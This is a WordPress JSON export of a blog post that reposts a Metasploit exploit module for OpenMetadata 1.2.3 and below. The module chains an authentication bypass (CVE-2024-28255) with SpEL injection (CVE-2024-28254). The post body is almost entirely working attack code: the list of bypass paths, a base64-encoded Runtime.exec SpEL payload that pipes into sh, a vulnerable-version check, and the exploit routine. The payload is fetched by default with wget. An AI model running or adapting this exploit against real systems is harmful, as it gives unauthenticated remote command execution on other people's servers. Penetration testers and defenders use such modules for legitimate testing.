{"id":58904,"date":"2024-08-15T18:59:53","date_gmt":"2024-08-15T15:59:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180168\/openmetadata_auth_bypass_rce.rb.txt"},"modified":"2024-08-15T18:59:53","modified_gmt":"2024-08-15T15:59:53","slug":"openmetadata-1-2-3-authentication-bypass-spel-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/openmetadata-1-2-3-authentication-bypass-spel-injection\/","title":{"rendered":"OpenMetadata 1.2.3 Authentication Bypass \/ SpEL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;OpenMetadata authentication bypass and SpEL injection exploit chain&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>OpenMetadata is a unified platform for discovery, observability, and governance powered<br \/>by a central metadata repository, in-depth lineage, and seamless team collaboration.<br \/>This module chains two vulnerabilities that exist in the OpenMetadata aplication.<br \/>The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.<br \/>It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded<br \/>endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters<br \/>to make any path contain any arbitrary strings that will match the excluded endpoint condition<br \/>and therefore will be processed with no JWT validation allowing an attacker to bypass the<br \/>authentication mechanism and reach any arbitrary endpoint.<br \/>By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection<br \/>at endpoint `\/api\/v1\/events\/subscriptions\/validation\/condition\/&lt;expression&gt;`, attackers<br \/>are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any<br \/>authentication.<br \/>OpenMetadata versions `1.2.3` and below are vulnerable.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # Msf module contributor<br \/>&#8216;Alvaro Mu\u00f1oz alias pwntester (https:\/\/github.com\/pwntester)&#8217; # Original discovery<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-28255&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-28254&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/securitylab.github.com\/advisories\/GHSL-2023-235_GHSL-2023-237_Open_Metadata\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/f19fXpZn62\/cve-2024-28255&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/ethicalhacking.uk\/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-15&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Automatic&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;rport&#8217; =&gt; 8585,<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;WGET&#8217;<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path of the OpenMetadata web application&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/># list of paths that require no authentication<br \/>unauthed_paths = [<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2Flogin&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2Fsignup&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2FresendRegistrationToken&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2FgeneratePasswordResetLink&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2Fpassword%2Freset&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2FcheckEmailInUse&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fusers%2Frefresh&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fsystem%2Fconfig&#8217;,<br \/>&#8216;\/api\/v1;v1%2Fv1%2Fsystem%2Fversion&#8217;<br \/>]# $@|sh \u2013 Getting a shell environment from Runtime.exec<br \/>cmd = &#8220;sh -c $@|sh . echo #{cmd}&#8221;<br \/>cmd_b64 = Base64.strict_encode64(cmd)<br \/>spel_payload = &#8220;T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\\&#8221;#{cmd_b64}\\&#8221;)))&#8221;<br \/>unauthed_paths.shuffle!.each do |path|<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, path, &#8216;events&#8217;, &#8216;subscriptions&#8217;, &#8216;validation&#8217;, &#8216;condition&#8217;, spel_payload),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>break if res.code == 400 &amp;&amp; res.body.include?(&#8216;EL1001E&#8217;)<br \/>end<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8216;Trying to detect if target is running a vulnerable version of OpenMetadata.&#8217;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>return CheckCode::Unknown(&#8216;Could not detect OpenMetadata.&#8217;) unless res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?(&#8216;OpenMetadata&#8217;)<\/p>\n<p># try to dectect version<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;v1&#8217;, &#8216;system&#8217;, &#8216;version&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>return CheckCode::Detected(&#8216;Could not retrieve the version information.&#8217;) unless res &amp;&amp; res.code == 200<\/p>\n<p># parse json response and get the version<br \/>res_json = res.get_json_document<br \/>unless res_json.blank?<br \/>version = res_json[&#8216;version&#8217;]version_number = Rex::Version.new(version.gsub(\/[[:space:]]\/, &#8221;)) unless version.nil?<br \/>end<br \/>return CheckCode::Detected(&#8216;Could not retrieve the version information.&#8217;) if version_number.nil?<br \/>return CheckCode::Appears(&#8220;Version #{version_number}&#8221;) if version_number &lt;= Rex::Version.new(&#8216;1.2.3&#8217;)<\/p>\n<p>CheckCode::Safe(&#8220;Version #{version_number}&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>execute_command(payload.encoded)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;OpenMetadata authentication bypass and SpEL injection exploit chain&#8217;,&#8216;Description&#8217; =&gt; %q{OpenMetadata is a unified platform for discovery, observability, and governance poweredby a central metadata repository, in-depth lineage, and seamless team collaboration.This module chains two &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58904","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58904","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58904"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58904\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}